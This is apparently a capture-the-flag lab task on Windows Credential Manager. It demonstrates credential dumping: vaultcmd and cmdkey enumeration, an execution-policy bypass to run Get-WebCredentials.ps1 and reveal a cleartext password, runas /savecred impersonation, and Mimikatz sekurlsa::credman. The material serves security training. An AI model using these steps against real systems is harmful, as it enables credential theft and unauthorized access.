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What is Credentials Manager?
Credential Manager is a Windows feature that stores logon-sensitive information for websites, applications, and networks. It contains login credentials such as usernames, passwords, and internet addresses. There are four credential categories:
- Web credentials contain authentication details stored in Internet browsers or other applications.
- Windows credentials contain Windows authentication details, such as NTLM or Kerberos.
- Generic credentials contain basic authentication details, such as clear-text usernames and passwords.
- Certificate-based credentials: Athunticated details based on certifications.
Note that authentication details are stored on the user's folder and are not shared among Windows user accounts. However, they are cached in memory.
Accessing Credential Manager
We can access the Windows Credential Manager through GUI (Control Panel -> User Accounts -> Credential Manager) or the command prompt. In this task, the focus will be more on the command prompt scenario where the GUI is not available.
We will be using the Microsoft Credentials Manager vaultcmd utility. Let's start to enumerate if there are any stored credentials. First, we list the current windows vaults available in the Windows target.
Listing the Available Credentials from the Credentials Manager
C:\Users\Administrator>vaultcmd /list
Currently loaded vaults:
Vault: Web Credentials
Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Vault: Windows Credentials
Vault Guid:77BC582B-F0A6-4E15-4E80-61736B6F3B29
Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault
By default, Windows has two vaults, one for Web and the other one for Windows machine credentials. The above output confirms that we have the two default vaults.
Let's check if there are any stored credentials in the Web Credentials vault by running the vaultcmd command with /listproperties.
Checking if there Are any Stored Credentials in the "Web Credentials."
C:\Users\Administrator>VaultCmd /listproperties:"Web Credentials"
Vault Properties: Web Credentials
Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Number of credentials: 1
Current protection method: DPAPI
The output shows that we have one stored credential in the specified vault. Now let's try to list more information about the stored credential as follows,
Listing Credentials Details for "Web Credentials"
C:\Users\Administrator>VaultCmd /listcreds:"Web Credentials"
Credentials in vault: Web Credentials
Credential schema: Windows Web Password Credential
Resource: internal-app.thm.red
Identity: THMUser Saved By: MSEdge
Hidden: No
Roaming: Yes
Credential Dumping
The VaultCmd is not able to show the password, but we can rely on other PowerShell Scripts such as Get-WebCredentials.ps1, which is already included in the attached VM.
Ensure to execute PowerShell with bypass policy to import it as a module as follows,
Getting Clean-text Password from Web Credentials
C:\Users\Administrator>powershell -ex bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator> Import-Module C:\Tools\Get-WebCredentials.ps1
PS C:\Users\Administrator> Get-WebCredentials
UserName Resource Password Properties
THMUser internal-app.thm.red Password! {[hidden, False], [applicationid, 00000000-0000-0000-0000-000000000000], [application, MSEdge]}
The output shows that we obtained the username and password for accessing the internal application.
RunAs
An alternative method of taking advantage of stored credentials is by using RunAs. RunAs is a command-line built-in tool that allows running Windows applications or tools under different users' permissions. The RunAs tool has various command arguments that could be used in the Windows system. The /savecred argument allows you to save the credentials of the user in Windows Credentials Manager (under the Windows Credentials section). So, the next time we execute as the same user, runas will not ask for a password.
Let's apply it to the attached Windows machine. Another way to enumerate stored credentials is by using cmdkey, which is a tool to create, delete, and display stored Windows credentials. By providing the /list argument, we can show all stored credentials, or we can specify the credential to display more details /list:computername.
Enumerating for Stored Windows Credentials
C:\Users\thm>cmdkey /list
Currently stored credentials:
Target: Domain:interactive=thm\thm-local
Type: Domain Password
User: thm\thm-local
The output shows that we have a domain password stored as the thm\thm-local user. Note that stored credentials could be for other servers too. Now let's use runas to execute Windows applications as the thm-local user.
Run CMD.exe As a User with the /savecred argument
C:\Users\thm>runas /savecred /user:THM.red\thm-local cmd.exe
Attempting to start cmd.exe as user "THM.red\thm-local" ...
A new cmd.exe pops up with a command prompt ready to use. Now run the whoami command to confirm that we are running under the desired user. There is a flag in the c:\Users\thm-local\Saved Games\flag.txt, try to read it and answer the question below.
Mimikatz
Mimikatz is a tool that can dump clear-text passwords stored in the Credential Manager from memory. The steps are similar to those shown in the previous section (Memory dump), but we can specify to show the credentials manager section only this time.
Dumping Memory for Credentials Manager
C:\Users\Administrator>c:\Tools\Mimikatz\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::credman